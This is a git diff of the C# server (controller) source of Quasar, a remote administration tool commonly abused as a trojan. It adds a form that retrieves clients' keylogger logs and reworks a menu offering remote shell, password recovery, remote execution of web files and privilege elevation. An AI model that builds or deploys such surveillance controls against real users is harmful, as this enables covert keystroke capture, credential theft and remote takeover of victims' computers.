+ dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFnSURBVDhPpc9LS0JRGIVhR/6MIEEpQigCSSiCoigJ
+ kqIoworomBFIHS3SOlLGybKS7ohIEd0mNmsghGiamhbZRYLohzhc7T0QUr9B0OAdfM9ek60A8K9ILGZL
+ TWVm48ID9VaMRJ6YNL9tZF2QH5dgCZty1IZXAfa0RSk+mL892WVcf57gMh+EFLNhNDTwNXxlVJbvSw7e
+ XEK4s0YnCmspB87zAZx9+LGekDB00VvoPzGEy/clx++E2xGcvh8j+HoIIWRCX7C7idpVQLGxm0EEcgfw
+ v+zCGOhiRO9I5LH/4ujZh4OnLRj22xjROxJ57L/Yy3rhy3jQ7m1mRO9I5PUcdWA7LWMz5UaLW8eI3pHI
+ 69xphSe5Cjnhgs7ZwIjekchrlfVwxyWs3DtRL9Yxonck8vRSI1wxB5ajC6ib0TCidyTyGue1cEbsWIyI
+ 0AgqRvSORJ7WWoPaaTXUk9VQjVcxonck/j0ofgDmetgt0HdVSAAAAABJRU5ErkJggg==
+
+
+
+
+ iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
+ dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJcSURBVDhPpdNfSFNRHAfwI730VL4USFEYSUUE+SBh
+ f+jBGPUUPoRgoqm1VoqzZsH+VLoxNEWbMjazmu6ftf7QH7FSK9L+mSujKOifPQkTrdRtd3d/7vbtnDNW
+ UPZg/eDLuRzO73PPvedeAuC/QvKPeCqab44FtRc/Q9NN4/oIteM9jne9wzHbW6guvMHRjleoPjsKpcWL
+ SvNzaDoeB1kfB4xXx+JtfROYb5SmwTgH2J3/JfKmh7SfAhrXJ3Yx7yqvv88GQtTOD3wiEpMQphEjMQTF
+ GPxiFDNCBN8CIianQ/BNCRifDOCLz8/X7zP2s4EC9IWxisbjiEoSh0LRGIRwEpoNxfA9GMaUn0IzIia+
+ hvj64ro7bCCEvW1WEgViDKGJUEikkMB2Q6EAhaq7t+NAZzZ807N8fdHJXjYQwo6KlZRIcCAFRWjCDKII
+ gw45clHXU4iC9rV0lyIKdbeSgOr8659AKgxQurehypULhSMHZbZs6K7vwWVvK2qu7IbMlIECrScJKK0v
+ kgANO9gUUuHchBujFlx7aeaNl7wmmO7VwP6sEQq3DDn1C7HBkLaYVJlHOMAqQcOQOAXK6fOy5pZ+JU7f
+ rYDxthy1PaXQ9x5E+5ABRV1bkXWKSKSybZg3/157z62DZ8QE93Az7E8bYXvSQJHDsA7pIXfvRJZuEZap
+ yUb2L3gULY/4l7W/4QFKjQMoMfQh37oKu1qXI+/MUmxpSkdx52ZYBmtR5pRhtS4dO1R6do5kzj9srqw3
+ pAkl9jys1JLxDDVZk5r/Y+HfknmCCCu0C7BETTJ/zYP8AJkfFpfWkHO3AAAAAElFTkSuQmCC
+
+
157, 17
@@ -128,7 +169,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW
- EwAAAk1TRnQBSQFMAgEBCwEAAdABAgHQAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ EwAAAk1TRnQBSQFMAgEBCwEAAegBAgHoAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@@ -226,7 +267,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE
- CQAAAk1TRnQBSQFMAgEBAgEAAUgBAgFIAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ CQAAAk1TRnQBSQFMAgEBAgEAAWABAgFgAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@@ -271,7 +312,6 @@
58
-
AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA
diff --git a/Server/Forms/FrmKeylogger.Designer.cs b/Quasar.Server/Forms/FrmKeylogger.Designer.cs
similarity index 88%
rename from Server/Forms/FrmKeylogger.Designer.cs
rename to Quasar.Server/Forms/FrmKeylogger.Designer.cs
index 98164d4ad..e905b6461 100644
--- a/Server/Forms/FrmKeylogger.Designer.cs
+++ b/Quasar.Server/Forms/FrmKeylogger.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmKeylogger
{
@@ -34,6 +34,8 @@ private void InitializeComponent()
this.statusStrip = new System.Windows.Forms.StatusStrip();
this.btnGetLogs = new System.Windows.Forms.Button();
this.wLogViewer = new System.Windows.Forms.WebBrowser();
+ this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel();
+ this.statusStrip.SuspendLayout();
this.SuspendLayout();
//
// lstLogs
@@ -60,6 +62,8 @@ private void InitializeComponent()
//
// statusStrip
//
+ this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.stripLblStatus});
this.statusStrip.Location = new System.Drawing.Point(0, 460);
this.statusStrip.Name = "statusStrip";
this.statusStrip.Size = new System.Drawing.Size(862, 22);
@@ -88,10 +92,16 @@ private void InitializeComponent()
this.wLogViewer.Size = new System.Drawing.Size(708, 409);
this.wLogViewer.TabIndex = 8;
//
+ // stripLblStatus
+ //
+ this.stripLblStatus.Name = "stripLblStatus";
+ this.stripLblStatus.Size = new System.Drawing.Size(77, 17);
+ this.stripLblStatus.Text = "Status: Ready";
+ //
// FrmKeylogger
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(862, 482);
this.Controls.Add(this.wLogViewer);
this.Controls.Add(this.btnGetLogs);
@@ -105,6 +115,8 @@ private void InitializeComponent()
this.Text = "Keylogger []";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmKeylogger_FormClosing);
this.Load += new System.EventHandler(this.FrmKeylogger_Load);
+ this.statusStrip.ResumeLayout(false);
+ this.statusStrip.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
@@ -117,8 +129,6 @@ private void InitializeComponent()
private System.Windows.Forms.WebBrowser wLogViewer;
private System.Windows.Forms.ListView lstLogs;
private System.Windows.Forms.Button btnGetLogs;
-
-
-
+ private System.Windows.Forms.ToolStripStatusLabel stripLblStatus;
}
}
\ No newline at end of file
diff --git a/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs
new file mode 100644
index 000000000..59ac270ca
--- /dev/null
+++ b/Quasar.Server/Forms/FrmKeylogger.cs
@@ -0,0 +1,161 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Windows.Forms;
+using Quasar.Common.Messages;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmKeylogger : Form
+ {
+ ///
+ /// The client which can be used for the keylogger.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly KeyloggerHandler _keyloggerHandler;
+
+ ///
+ /// Path to the base download directory of the client.
+ ///
+ private readonly string _baseDownloadPath;
+
+ ///
+ /// Holds the opened keylogger form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new keylogger form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the keylogger form.
+ ///
+ /// Returns a new keylogger form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmKeylogger CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmKeylogger f = new FrmKeylogger(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the keylogger form.
+ public FrmKeylogger(Client client)
+ {
+ _connectClient = client;
+ _keyloggerHandler = new KeyloggerHandler(client);
+
+ _baseDownloadPath = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\");
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the keylogger message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _keyloggerHandler.ProgressChanged += LogsChanged;
+ MessageHandler.Register(_keyloggerHandler);
+ }
+
+ ///
+ /// Unregisters the keylogger message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_keyloggerHandler);
+ _keyloggerHandler.ProgressChanged -= LogsChanged;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ ///
+ /// Called whenever the keylogger logs finished retrieving.
+ ///
+ /// The message processor which raised the event.
+ /// The status message.
+ private void LogsChanged(object sender, string message)
+ {
+ RefreshLogsDirectory();
+ btnGetLogs.Enabled = true;
+ stripLblStatus.Text = "Status: " + message;
+ }
+
+ private void FrmKeylogger_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient);
+
+ if (!Directory.Exists(_baseDownloadPath))
+ {
+ Directory.CreateDirectory(_baseDownloadPath);
+ return;
+ }
+
+ RefreshLogsDirectory();
+ }
+
+ private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ _keyloggerHandler.Dispose();
+ }
+
+ private void btnGetLogs_Click(object sender, EventArgs e)
+ {
+ btnGetLogs.Enabled = false;
+ stripLblStatus.Text = "Status: Retrieving logs...";
+ _keyloggerHandler.RetrieveLogs();
+ }
+
+ private void lstLogs_ItemActivate(object sender, EventArgs e)
+ {
+ if (lstLogs.SelectedItems.Count > 0)
+ {
+ wLogViewer.Navigate(Path.Combine(_baseDownloadPath, lstLogs.SelectedItems[0].Text));
+ }
+ }
+
+ private void RefreshLogsDirectory()
+ {
+ lstLogs.Items.Clear();
+
+ DirectoryInfo dicInfo = new DirectoryInfo(_baseDownloadPath);
+
+ FileInfo[] iFiles = dicInfo.GetFiles();
+
+ foreach (FileInfo file in iFiles)
+ {
+ lstLogs.Items.Add(new ListViewItem {Text = file.Name});
+ }
+ }
+ }
+}
diff --git a/Server/Forms/FrmKeylogger.resx b/Quasar.Server/Forms/FrmKeylogger.resx
similarity index 100%
rename from Server/Forms/FrmKeylogger.resx
rename to Quasar.Server/Forms/FrmKeylogger.resx
diff --git a/Server/Forms/FrmMain.Designer.cs b/Quasar.Server/Forms/FrmMain.Designer.cs
similarity index 89%
rename from Server/Forms/FrmMain.Designer.cs
rename to Quasar.Server/Forms/FrmMain.Designer.cs
index 922857fee..c863cd607 100644
--- a/Server/Forms/FrmMain.Designer.cs
+++ b/Quasar.Server/Forms/FrmMain.Designer.cs
@@ -1,6 +1,6 @@
-using xServer.Controls;
+using Quasar.Server.Controls;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmMain
{
@@ -33,34 +33,37 @@ private void InitializeComponent()
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmMain));
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
- this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.systemInformationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.fileManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.startupManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.taskManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.remoteShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.connectionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.reverseProxyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.registryEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.ctxtLine = new System.Windows.Forms.ToolStripSeparator();
this.actionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.shutdownToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.restartToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.standbyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.surveillanceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.passwordRecoveryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.remoteDesktopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
+ this.userSupportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.showMessageboxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.elevateClientPermissionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator();
this.selectAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.imgFlags = new System.Windows.Forms.ImageList(this.components);
@@ -68,7 +71,7 @@ private void InitializeComponent()
this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel();
this.statusStrip = new System.Windows.Forms.StatusStrip();
this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
- this.lstClients = new xServer.Controls.AeroListView();
+ this.lstClients = new Quasar.Server.Controls.AeroListView();
this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -93,59 +96,14 @@ private void InitializeComponent()
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
- this.connectionToolStripMenuItem,
this.systemToolStripMenuItem,
this.surveillanceToolStripMenuItem,
- this.miscellaneousToolStripMenuItem,
+ this.userSupportToolStripMenuItem,
+ this.connectionToolStripMenuItem,
this.lineToolStripMenuItem,
this.selectAllToolStripMenuItem});
this.contextMenuStrip.Name = "ctxtMenu";
- this.contextMenuStrip.Size = new System.Drawing.Size(153, 142);
- this.contextMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip_Opening);
- //
- // connectionToolStripMenuItem
- //
- this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
- this.updateToolStripMenuItem,
- this.reconnectToolStripMenuItem,
- this.disconnectToolStripMenuItem,
- this.uninstallToolStripMenuItem});
- this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image")));
- this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem";
- this.connectionToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
- this.connectionToolStripMenuItem.Text = "Connection";
- //
- // updateToolStripMenuItem
- //
- this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image")));
- this.updateToolStripMenuItem.Name = "updateToolStripMenuItem";
- this.updateToolStripMenuItem.Size = new System.Drawing.Size(133, 22);
- this.updateToolStripMenuItem.Text = "Update";
- this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click);
- //
- // reconnectToolStripMenuItem
- //
- this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image")));
- this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem";
- this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22);
- this.reconnectToolStripMenuItem.Text = "Reconnect";
- this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click);
- //
- // disconnectToolStripMenuItem
- //
- this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image")));
- this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem";
- this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22);
- this.disconnectToolStripMenuItem.Text = "Disconnect";
- this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click);
- //
- // uninstallToolStripMenuItem
- //
- this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image")));
- this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
- this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(133, 22);
- this.uninstallToolStripMenuItem.Text = "Uninstall";
- this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click);
+ this.contextMenuStrip.Size = new System.Drawing.Size(181, 142);
//
// systemToolStripMenuItem
//
@@ -155,20 +113,22 @@ private void InitializeComponent()
this.startupManagerToolStripMenuItem,
this.taskManagerToolStripMenuItem,
this.remoteShellToolStripMenuItem,
+ this.connectionsToolStripMenuItem,
this.reverseProxyToolStripMenuItem,
this.registryEditorToolStripMenuItem,
+ this.remoteExecuteToolStripMenuItem,
this.ctxtLine,
this.actionsToolStripMenuItem});
- this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image")));
+ this.systemToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cog;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
- this.systemToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
- this.systemToolStripMenuItem.Text = "System";
+ this.systemToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+ this.systemToolStripMenuItem.Text = "Administration";
//
// systemInformationToolStripMenuItem
//
this.systemInformationToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemInformationToolStripMenuItem.Image")));
this.systemInformationToolStripMenuItem.Name = "systemInformationToolStripMenuItem";
- this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.systemInformationToolStripMenuItem.Text = "System Information";
this.systemInformationToolStripMenuItem.Click += new System.EventHandler(this.systemInformationToolStripMenuItem_Click);
//
@@ -176,23 +136,23 @@ private void InitializeComponent()
//
this.fileManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileManagerToolStripMenuItem.Image")));
this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem";
- this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.fileManagerToolStripMenuItem.Text = "File Manager";
this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.fileManagerToolStripMenuItem_Click);
//
// startupManagerToolStripMenuItem
//
- this.startupManagerToolStripMenuItem.Image = global::xServer.Properties.Resources.startup_programs;
+ this.startupManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_edit;
this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem";
- this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.startupManagerToolStripMenuItem.Text = "Startup Manager";
this.startupManagerToolStripMenuItem.Click += new System.EventHandler(this.startupManagerToolStripMenuItem_Click);
//
// taskManagerToolStripMenuItem
//
- this.taskManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("taskManagerToolStripMenuItem.Image")));
+ this.taskManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_cascade;
this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem";
- this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.taskManagerToolStripMenuItem.Text = "Task Manager";
this.taskManagerToolStripMenuItem.Click += new System.EventHandler(this.taskManagerToolStripMenuItem_Click);
//
@@ -200,30 +160,64 @@ private void InitializeComponent()
//
this.remoteShellToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteShellToolStripMenuItem.Image")));
this.remoteShellToolStripMenuItem.Name = "remoteShellToolStripMenuItem";
- this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.remoteShellToolStripMenuItem.Text = "Remote Shell";
this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click);
//
+ // connectionsToolStripMenuItem
+ //
+ this.connectionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.transmit_blue;
+ this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem";
+ this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+ this.connectionsToolStripMenuItem.Text = "TCP Connections";
+ this.connectionsToolStripMenuItem.Click += new System.EventHandler(this.connectionsToolStripMenuItem_Click);
+ //
// reverseProxyToolStripMenuItem
//
- this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link;
+ this.reverseProxyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.server_link;
this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem";
- this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy";
this.reverseProxyToolStripMenuItem.Click += new System.EventHandler(this.reverseProxyToolStripMenuItem_Click);
//
// registryEditorToolStripMenuItem
//
- this.registryEditorToolStripMenuItem.Image = global::xServer.Properties.Resources.registry;
+ this.registryEditorToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.registry;
this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem";
- this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.registryEditorToolStripMenuItem.Text = "Registry Editor";
this.registryEditorToolStripMenuItem.Click += new System.EventHandler(this.registryEditorToolStripMenuItem_Click);
//
+ // remoteExecuteToolStripMenuItem
+ //
+ this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.localFileToolStripMenuItem,
+ this.webFileToolStripMenuItem});
+ this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning;
+ this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem";
+ this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+ this.remoteExecuteToolStripMenuItem.Text = "Remote Execute";
+ //
+ // localFileToolStripMenuItem
+ //
+ this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go;
+ this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem";
+ this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22);
+ this.localFileToolStripMenuItem.Text = "Local File...";
+ this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click);
+ //
+ // webFileToolStripMenuItem
+ //
+ this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go;
+ this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem";
+ this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22);
+ this.webFileToolStripMenuItem.Text = "Web File...";
+ this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click);
+ //
// ctxtLine
//
this.ctxtLine.Name = "ctxtLine";
- this.ctxtLine.Size = new System.Drawing.Size(175, 6);
+ this.ctxtLine.Size = new System.Drawing.Size(177, 6);
//
// actionsToolStripMenuItem
//
@@ -231,14 +225,14 @@ private void InitializeComponent()
this.shutdownToolStripMenuItem,
this.restartToolStripMenuItem,
this.standbyToolStripMenuItem});
- this.actionsToolStripMenuItem.Image = global::xServer.Properties.Resources.actions;
+ this.actionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.actions;
this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem";
- this.actionsToolStripMenuItem.Size = new System.Drawing.Size(178, 22);
+ this.actionsToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.actionsToolStripMenuItem.Text = "Actions";
//
// shutdownToolStripMenuItem
//
- this.shutdownToolStripMenuItem.Image = global::xServer.Properties.Resources.shutdown;
+ this.shutdownToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shutdown;
this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem";
this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(128, 22);
this.shutdownToolStripMenuItem.Text = "Shutdown";
@@ -246,7 +240,7 @@ private void InitializeComponent()
//
// restartToolStripMenuItem
//
- this.restartToolStripMenuItem.Image = global::xServer.Properties.Resources.restart;
+ this.restartToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.restart;
this.restartToolStripMenuItem.Name = "restartToolStripMenuItem";
this.restartToolStripMenuItem.Size = new System.Drawing.Size(128, 22);
this.restartToolStripMenuItem.Text = "Restart";
@@ -254,7 +248,7 @@ private void InitializeComponent()
//
// standbyToolStripMenuItem
//
- this.standbyToolStripMenuItem.Image = global::xServer.Properties.Resources.standby;
+ this.standbyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.standby;
this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem";
this.standbyToolStripMenuItem.Size = new System.Drawing.Size(128, 22);
this.standbyToolStripMenuItem.Text = "Standby";
@@ -263,100 +257,135 @@ private void InitializeComponent()
// surveillanceToolStripMenuItem
